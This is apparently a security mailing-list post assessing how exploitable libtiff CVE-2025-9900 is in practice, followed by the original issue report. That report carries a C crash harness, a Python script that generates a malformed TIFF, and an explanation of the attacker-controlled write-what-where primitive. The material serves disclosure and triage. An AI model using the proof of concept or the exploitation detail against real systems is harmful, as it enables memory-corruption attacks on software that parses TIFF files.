Hi,
on 2025-09-23 CVE-2025-9900 was published for libtiff 4.7.0 and it seems
to have gained some traction due to the potential risk of code execution
via malicious TIFF files.
I was wondering about the real world criticality for software which uses
libtiff. I did some investigation and I'm looking for validation or
falsification of those findings.
# Background
According to the CVE details, the CVE is about an advisory [1] by Github
user SexyShoelessGodofWar. Further research turns up Issue #704 in the
Gitlab libtiff issue tracker [2] from 2025-05-14 which also contains a
reproducer (attached testGen.py and poc_crasher.c) and links the
relevant patch [3].
# Observations
1. poc_crasher.c calls libtiff's TIFFReadRGBAImage with width and height
values which are smaller then the actual TIFF dimensions when an image
with width or height > 10000 is supplied. Based on the libtiff API
documentation, this is a supported use case ("If the raster dimensions
are smaller than the image, the image data is cropped to the raster
bounds." [4]).
2. The test file (generated via testGen.py) does not show any obviously
suspicious behavior when loaded in GIMP, imagemagick or evince. I have
not checked all possible call sites, but I believe that at least those
listed tools always call the affected function TIFFReadRGBAImage with
the actual TIFF's dimensions and as such don't hit the bug.
SexyShoelessGodofWar also confirmed that Evince did not seem affected
and that other tools are still under investigation.
3. When loading a plain 1024x768 sized TIFF file (generated via GIMP),
libtiff exhibits the same value when passed height=256. This suggests
that the actual libtiff usage is very relevant and the potentially
malicious TIFF file maybe less so.
# Fixes
Besides Merge Request 732 [3], Merge Request 738 [6] also touches this
code path and may be relevant.
libtiff 4.7.1 was released on 2025-09-18 and lists Issue #704 (this CVE)
as fixed [7].
# First conclusion
Based on my understanding, libtiff users would only be affected by this
issue under specific circumstances. The issue would be limited to
libtiff users which call TIFFReadRGBAImage or TIFFReadRGBAImageOriented
with a smaller height than the actual TIFF's height (i.e. cropping the
image on read). For example, this would be exploitable if an application
used a static or attacker-supplied height which is smaller than the
height of the attacker-supplied TIFF.
My gut feeling is that this should not be common (especially since this
would crash during ordinary usage), but it's hard for me to tell if this
matches reality.
I currently do not see a way for an attacker to confuse libtiff into
returning a small height to the libtiff user and later use a larger
height from the same TIFF file internally.
Note:
- I do not want to downplay the issue. There seems to be an actual bug
and it may be security-relevant in more cases than I can think of. I'm
posting this to start a potential discussion about that.
- I'm not affiliated with the researcher, I'm just sharing my findings
and observations in the hope that they help libtiff downstream users and
in the hope that further confirmation or falisification of those
findings appear.
Kind regards,
Christian
[1]
https://github.com/SexyShoelessGodofWar/LibTiff-4.7.0-Write-What-Where?tab=readme-ov-file
[2] https://gitlab.com/libtiff/libtiff/-/issues/704
(libtiff-gitlab-issue-704.txt)
[3] https://gitlab.com/libtiff/libtiff/-/merge_requests/732
[4]
https://gitlab.com/libtiff/libtiff/-/blob/5fe20d0e9aba49a6a350ed533459d1505203838f/doc/functions/TIFFReadRGBAImage.rst
[5]
https://github.com/SexyShoelessGodofWar/LibTiff-4.7.0-Write-What-Where/issues/1#issuecomment-3335973158
> I had caused crashes in one application (but interestingly I recall,
> it was through memory exhaustion), but further investigation was
> earmarked for future work - I've not really looked more deeply into
> this. Some of the other applications i'd tried. Evince was one of
> them, and that didn't crash - this is generally just due to some pre-
> processing of the file or additional checks that sit infront of the
> vulnerable code path. I speculate a little here, but am pretty certain
> this will be the mitigating factor.
[6] https://gitlab.com/libtiff/libtiff/-/merge_requests/738
[7] https://libtiff.gitlab.io/libtiff/releases/v4.7.1.html
> tif_getimage.c: Fix buffer underflow crash for less raster rows
> at TIFFReadRGBAImageOriented() (fixes issue #704)
Vendor CVE pages:
https://access.redhat.com/security/cve/cve-2025-9900
https://www.suse.com/security/cve/CVE-2025-9900.html
https://ubuntu.com/security/CVE-2025-9900
https://security-tracker.debian.org/tracker/CVE-2025-9900
#include <tiffio.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Memory stream backend for TIFFClientOpen
typedef struct {
const uint8_t *data;
size_t size;
size_t pos;
} memstream_t;
tsize_t read_proc(thandle_t handle, tdata_t buf, tsize_t size) {
memstream_t *stream = (memstream_t *)handle;
if (stream->pos + size > stream->size)
size = stream->size - stream->pos;
memcpy(buf, stream->data + stream->pos, size);
stream->pos += size;
return size;
}
toff_t seek_proc(thandle_t handle, toff_t offset, int whence) {
memstream_t *stream = (memstream_t *)handle;
size_t new_pos;
switch (whence) {
case SEEK_SET: new_pos = offset; break;
case SEEK_CUR: new_pos = stream->pos + offset; break;
case SEEK_END: new_pos = stream->size + offset; break;
default: return (toff_t)-1;
}
if (new_pos > stream->size) return (toff_t)-1;
stream->pos = new_pos;
return stream->pos;
}
tsize_t write_proc(thandle_t handle, tdata_t buf, tsize_t size) { return 0; }
int close_proc(thandle_t handle) { return 0; }
toff_t size_proc(thandle_t handle) {
memstream_t *stream = (memstream_t *)handle;
return stream->size;
}
int map_proc(thandle_t handle, tdata_t *base, toff_t *size) { return 0; }
void unmap_proc(thandle_t handle, tdata_t base, toff_t size) {}
int main(int argc, char **argv) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <input_file>\n", argv[0]);
return 1;
}
FILE *fp = fopen(argv[1], "rb");
if (!fp) return 1;
fseek(fp, 0, SEEK_END);
size_t size = ftell(fp);
fseek(fp, 0, SEEK_SET);
uint8_t *buf = malloc(size);
if (!buf) {
fclose(fp);
return 1;
}
fread(buf, 1, size, fp);
fclose(fp);
memstream_t stream = { .data = buf, .size = size, .pos = 0 };
// DO NOT set custom handlers; use defaults to avoid misuse
TIFF *tif = TIFFClientOpen("mem", "r",
(thandle_t)&stream,
read_proc, write_proc, seek_proc,
close_proc, size_proc, map_proc, unmap_proc);
if (tif) {
uint32_t w = 0, h = 0;
TIFFGetField(tif, TIFFTAG_IMAGEWIDTH, &w);
TIFFGetField(tif, TIFFTAG_IMAGELENGTH, &h);
// Use fallback size if width/height missing
if (w == 0 || h == 0 || w > 10000 || h > 10000) {
w = 256;
h = 256;
}
size_t npixels = (size_t)w * h;
uint32_t *raster = (uint32_t *)_TIFFmalloc(npixels * sizeof(uint32_t));
if (raster) {
TIFFReadRGBAImage(tif, w, h, raster, 0); // Trigger decoding paths
_TIFFfree(raster);
}
TIFFClose(tif);
}
free(buf);
return 0;
}
from PIL import Image, TiffImagePlugin
import numpy as np
# Create a 256x256 paletted image with a single color
img = Image.new("P", (256, 256))
pixels = np.zeros((256, 256), dtype=np.uint8)
pixels[:, :] = 0x01 # index into palette
img.putdata(pixels.flatten())
# Create a palette with one entry set to a known value (0x41 == 'A')
palette = []
for i in range(256):
if i == 0x01:
palette += [0x41, 0x41, 0x41] # R, G, B
else:
palette += [0x00, 0x00, 0x00]
img.putpalette(palette)
# Patch TIFF tags to force a large img.height => write beyond bounds
info = TiffImagePlugin.ImageFileDirectory_v2()
info[256] = 256 # ImageWidth
info[257] = 0xFFFF # ImageLength (very high, to overflow)
info[258] = 8 # BitsPerSample
info[259] = 1 # Compression (no compression)
info[262] = 3 # PhotometricInterpretation = Palette
info[273] = (8,) # StripOffsets (point to where actual pixel data is)
info[277] = 1 # SamplesPerPixel
info[278] = 1 # RowsPerStrip
info[279] = (256,) # StripByteCounts
# Save the crafted TIFF
output_path = "weaponized_poc.tiff"
img.save(output_path, format="TIFF", tiffinfo=info)
output_path
Vulnerability Summary
Write-What-Where in libtiff via TIFFReadRGBAImageOriented
The vulnerability resides in the raster decoding logic of libtiff, specifically
when processing paletted (indexed color) images with malformed metadata. The
function TIFFReadRGBAImageOriented() computes a pointer offset into the raster
buffer based on user-controlled image metadata:
raster + (rheight - img.height) * rwidth
If the attacker supplies a very large value for img.height (e.g., 0xFFFF) and a
valid rheight (e.g., 256), this computation results in a large positive offset,
causing the raster pointer (cp) passed into functions like put8bitcmaptile() or
put1bitbwtile() to point beyond the bounds of the allocated buffer.
Inside those functions, memory writes occur like this:
*cp++ = PALmap[*pp][0];
• The write address (cp) is attacker-controlled via the offset calculation from
img.height.
• The value written (PALmap[*pp][0]) is also attacker-controlled:
◦ *pp is dereferenced from pixel data in the image file.
◦ PALmap is constructed from the image's color palette, which the attacker
also controls.
This constitutes a write-what-where vulnerability with a attacker control.
Exploitation of a write-what-where primitive can lead to denial of service or
code execution through supply of maliciously crafted files.
Version
4.7.0
Steps to reproduce
COmpile harness.c clang -O0 -g -Ilibtiff -Ibuild-clean -o
tiff_poc_crasher poc_crasher.c build-clean/libtiff/libtiff.a -lz -lzstd -lwebp
-lwebpdemux -ldeflate -llzma -ljpeg -lm -ljbig -lLerc
./tiff_fuzz_clean ./crashfile1.tiff
This should create a seg fault.
The Code POC and tiff files are attached - as are the python files to generate
a malicious one.
Note: testGen.py will generate a crash .tiff file. (i'm unable to upload the
.tiff file)
I originally created this as a confidential issue - but didn't seem to have any
eyes on it.
Platform
This was tested on: Distributor ID: Ubuntu Description: Ubuntu 24.04.2 LTS
Release: 24.04 Codename: noble
Request: I will request a CVE for this. Once this is resolved and fixed I wish
to replicate the PoC on my github:
https://github.com/SexyShoelessGodofWarpoc_crasher.ctestGen.py
Here is a screenshot, showing the appropriate information on crash. It shows
the code location, the offending assembly instruction and the control of R15d
and RSI image
Notes
If there's anything else I can help with, please let me know. I can provide
more information, as needed or answer any other questions.
Thanks! Gareth